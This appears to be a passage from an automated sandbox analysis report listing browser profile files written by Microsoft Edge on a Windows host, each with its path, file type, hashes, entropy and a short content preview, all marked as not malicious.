SHA-512:	27068C5235520F0AFD8AD9B9A4D7878A4CDB652A0435C3F3800B99950CBB6A33E6AF12ABCF7B670DC30C237BC83882C998AFB6475D31A25210742AFEB7492934
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.135272882899025
Encrypted:	false
SSDEEP:	6:H6VZAq2P923oH+TcwtnG2tMsIFUt8Y65Zmw+Y6TkwO923oH+TcwtnG2tMsLJ:6ZAv4Yebn9GFUt8P/+d5LYebn95J
MD5:	FF5A842EC91BC738E5890195E95CC6F1
SHA1:	7F506E2506CECC1D6D91E723591A182C84193EE1
SHA-256:	7334FC8327598FCAA2013942D78FAA50A11BF6965924CE15D28BB8E08CA735F0
SHA-512:	20DF7612580D497D0D067A1E64425B3B7BBC660B6887CD5F6C2BE858B9D08BDEC6E2497E238E3062F25816C53A7A04DA23343C6706A161AC0FF3E319B1DA768A
Malicious:	false
Reputation:	unknown
Preview:	2024/11/20-02:09:13.710 1840 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/20-02:09:13.800 1840 Recovering log #3.2024/11/20-02:09:13.800 1840 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.135272882899025
Encrypted:	false
SSDEEP:	6:H6VZAq2P923oH+TcwtnG2tMsIFUt8Y65Zmw+Y6TkwO923oH+TcwtnG2tMsLJ:6ZAv4Yebn9GFUt8P/+d5LYebn95J
MD5:	FF5A842EC91BC738E5890195E95CC6F1
SHA1:	7F506E2506CECC1D6D91E723591A182C84193EE1
SHA-256:	7334FC8327598FCAA2013942D78FAA50A11BF6965924CE15D28BB8E08CA735F0
SHA-512:	20DF7612580D497D0D067A1E64425B3B7BBC660B6887CD5F6C2BE858B9D08BDEC6E2497E238E3062F25816C53A7A04DA23343C6706A161AC0FF3E319B1DA768A
Malicious:	false
Reputation:	unknown
Preview:	2024/11/20-02:09:13.710 1840 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/20-02:09:13.800 1840 Recovering log #3.2024/11/20-02:09:13.800 1840 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6140002678011136
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+jvQ8VpeamL:TO8D4jJ/6Up+LQ
MD5:	3E36E5596388A0F39604A894C0AEA378
SHA1:	0F92D930AE413728B83E9465DF3CF6BDCBCA9AAD
SHA-256:	5BF3D7EFDDF0163A9E3C7C4B236A3A8BA1A39AD0B6CDA263C187A6A564367F4C
SHA-512:	66640BEBB523F10CC0BECD99C9F20679BBACD684B495B7F8A28E2482856B0D7887351B73557677B0FD30177AEB084CC0AA23C294DED9265561001BEE56E9057D
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Reputation:	unknown
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354120214171551
Encrypted:	false
SSDEEP:	6144:wA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:wFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	0426B5D43600EB2A72BEA66F49D7F2F0
SHA1:	3B2C0023F3E139BBEC481C45A0BD1CED54BB1773
SHA-256:	B930D7CF45EE52330BA65AD65033F6A1639EC5FC7195D08AC2669384A294F9CE
SHA-512:	7690434A4FE0BBBB8C15A01F2BF187A9D9D4104995B6DF684880DFE4EDEAE0BDF07564EDBA6B60D28DED2B4E9FA5549D55E30FDB056142B25E711CDC8FCF2B59
Malicious:	false
Reputation:	unknown
Preview:	...m.................DB_VERSION.1..5.q...............&QUERY_TIMESTAMP:domains_config_gz2...13376560160933286..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Reputation:	unknown
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.096826080414331
Encrypted:	false
SSDEEP:	6:H6B8q1923oH+Tcwtk2WwnvB2KLlV6BsVQ+q2P923oH+Tcwtk2WwnvIFUv:pYebkxwnvFLxVv4YebkxwnQFUv
MD5:	45FCB98073F39F0CB2DFF7D45300068B
SHA1:	ABDC4B4F47B13BD623D1A02C6E470EFEB2D215E6
SHA-256:	FAAE0A2F0B50B99288EF861B09566B31108D588F19A2CF49C7CD004F141EF4EA
SHA-512:	53074CB3E23DBAA39913AD54FC440CFFD64E9B5C61F805D47F7ED63E5154EA0C22976CDA860C29B7E1FADF3DF423361C3B4EEA2077F46B9598D807D760C25351
Malicious:	false
Reputation:	unknown
Preview:	2024/11/20-02:09:19.901 2018 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/20-02:09:19.921 2018 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Reputation:	unknown
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324613473751713
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6Rg:C1gAg1zfvY
MD5:	2997293941F37CED438D5CA989DB2A68
SHA1:	446747342230A5CA6EB4F5249548E1631A97DA1F
SHA-256:	DEF54CC3BA3AE4052B890475A7886AF596079BE99F298BFEDF110A894A80762B
SHA-512:	0CF39839D63AE1DCE9A7CA4DC3F90F7C881F2C2C107583EA373CEFD8D40DA16C2B752DFC7F69D9B6CD40C5A74254405030C931E77518B875C0A62563AFD85C76
Malicious:	false
Reputation:	unknown
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Reputation:	unknown
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.181596401407773
Encrypted:	false
SSDEEP:	6:H6VPcGL+q2P923oH+Tcwt8aPrqIFUt8Y6VC1Zmw+Y6VJ5LVkwO923oH+Tcwt8amd:6kv4YebL3FUt8fC1/+fJf5LYebQJ
MD5:	7FFDEE106AE6D0BF54F3486DED8BE950
SHA1:	AFEC055422FDB500F3BF41E05D18F35A0E36EB94
SHA-256:	06632EED73E42EFFAD1667C9DF2E8243A22B71639D21187DE710EE9F8E4C2E02
SHA-512:	220D1BC534E69C6D9CEC795627BE2AE2CDB06D3BE809E31AE0270903ADDF94B7641C8F6099AB7ED971CF5F4841EAB36165246242B617860911F51C080908E69F
Malicious:	false
Reputation:	unknown
Preview:	2024/11/20-02:09:13.713 1678 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/20-02:09:13.714 1678 Recovering log #3.2024/11/20-02:09:13.715 1678 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.181596401407773
Encrypted:	false
SSDEEP:	6:H6VPcGL+q2P923oH+Tcwt8aPrqIFUt8Y6VC1Zmw+Y6VJ5LVkwO923oH+Tcwt8amd:6kv4YebL3FUt8fC1/+fJf5LYebQJ
MD5:	7FFDEE106AE6D0BF54F3486DED8BE950
SHA1:	AFEC055422FDB500F3BF41E05D18F35A0E36EB94
SHA-256:	06632EED73E42EFFAD1667C9DF2E8243A22B71639D21187DE710EE9F8E4C2E02
SHA-512:	220D1BC534E69C6D9CEC795627BE2AE2CDB06D3BE809E31AE0270903ADDF94B7641C8F6099AB7ED971CF5F4841EAB36165246242B617860911F51C080908E69F
Malicious:	false
Reputation:	unknown
Preview:	2024/11/20-02:09:13.713 1678 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/20-02:09:13.714 1678 Recovering log #3.2024/11/20-02:09:13.715 1678 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Reputation:	unknown
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.179232368884243
Encrypted:	false
SSDEEP:	6:H6VoL+q2P923oH+Tcwt865IFUt8Y6VFcQ1Zmw+Y6VceFLVkwO923oH+Tcwt86+Ud:6Nv4Yeb/WFUt8fFcQ1/+fceT5LYeb/+e
MD5:	6A8F2A236EF9A937CDF828D202522D4A
SHA1:	2B60E25FD0270541D0D6B6F01C5E91983420CAD6
SHA-256:	068EE41C5E4CF4931E42DE4C28749EB8FBC9E14683FC3804DCDEDF5B0388392C
SHA-512:	CDACC596E9571F71D980C6A3710564271FFA1C767AA7EE1A58E55E00861F146A5002A40962FC744D1B7DA89105EC2F7643102D9FB57D62251D8CAEE97219B995
Malicious:	false
Reputation:	unknown
Preview:	2024/11/20-02:09:13.718 1678 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/20-02:09:13.719 1678 Recovering log #3.2024/11/20-02:09:13.720 1678 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.179232368884243
Encrypted:	false
SSDEEP:	6:H6VoL+q2P923oH+Tcwt865IFUt8Y6VFcQ1Zmw+Y6VceFLVkwO923oH+Tcwt86+Ud:6Nv4Yeb/WFUt8fFcQ1/+fceT5LYeb/+e
MD5:	6A8F2A236EF9A937CDF828D202522D4A
SHA1:	2B60E25FD0270541D0D6B6F01C5E91983420CAD6
SHA-256:	068EE41C5E4CF4931E42DE4C28749EB8FBC9E14683FC3804DCDEDF5B0388392C
SHA-512:	CDACC596E9571F71D980C6A3710564271FFA1C767AA7EE1A58E55E00861F146A5002A40962FC744D1B7DA89105EC2F7643102D9FB57D62251D8CAEE97219B995
Malicious:	false
Reputation:	unknown
Preview:	2024/11/20-02:09:13.718 1678 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/20-02:09:13.719 1678 Recovering log #3.2024/11/20-02:09:13.720 1678 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Reputation:	unknown
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.122623869545011
Encrypted:	false
SSDEEP:	6:H67Gq2P923oH+Tcwt8NIFUt8Y6VuBFZmw+Y6VuBXkwO923oH+Tcwt8+eLJ:gGv4YebpFUt8vQ/+vY5LYebqJ
MD5:	B580B51AA58A9F26080A12E6A5A224A8
SHA1:	CF157DAA70C9B8EE4D2392E19908EB4082BCE999
SHA-256:	CB16388DAC425A76999EA5A6803D4DF774721FDC9F37C0D5465B5D7FD358D1D2
SHA-512:	C2EF08C3A1FBCA5B4FEBC363A5C7648A8E8F5455576A57C4724BE6F2490187C73BF2FE586A8A6FCE48903490A8A3E56FDA24DFE5B1537D94AD93608031725FA0
Malicious:	false
Reputation:	unknown
Preview:	2024/11/20-02:09:14.627 1df0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/20-02:09:14.628 1df0 Recovering log #3.2024/11/20-02:09:14.628 1df0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.122623869545011
Encrypted:	false
SSDEEP:	6:H67Gq2P923oH+Tcwt8NIFUt8Y6VuBFZmw+Y6VuBXkwO923oH+Tcwt8+eLJ:gGv4YebpFUt8vQ/+vY5LYebqJ
MD5:	B580B51AA58A9F26080A12E6A5A224A8
SHA1:	CF157DAA70C9B8EE4D2392E19908EB4082BCE999
SHA-256:	CB16388DAC425A76999EA5A6803D4DF774721FDC9F37C0D5465B5D7FD358D1D2
SHA-512:	C2EF08C3A1FBCA5B4FEBC363A5C7648A8E8F5455576A57C4724BE6F2490187C73BF2FE586A8A6FCE48903490A8A3E56FDA24DFE5B1537D94AD93608031725FA0
Malicious:	false
Reputation:	unknown
Preview:	2024/11/20-02:09:14.627 1df0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/20-02:09:14.628 1df0 Recovering log #3.2024/11/20-02:09:14.628 1df0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Reputation:	unknown
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.21843206434924664
Encrypted:	false
SSDEEP:	3:YIXjtFlljq7A/mhWJFuQ3yy7IOWUIIll4dweytllrE9SFcTp4AGbNCV9RUIM:YI475fOWIQd0Xi99pEYO
MD5:	E5E0CA697566D4B3F93C50E9F2F569DE
SHA1:	4AE507B3364D28EF6612EA0EE0C3BC735AB18FE6
SHA-256:	54DC0A6199C19E4977470BE3B359AA2AA80B152B8861A8F6EA883A344F22A770
SHA-512:	48DEF8BDE48188BA8D51CA025380C6DD1028EBE4959C37055E0218C57D546BCFC66891FD38D187356BCEA286274B9F3C53D7901974AAF37C828883970FBC4918
Malicious:	false
Reputation:	unknown
Preview:	.............-@...&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Reputation:	unknown
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
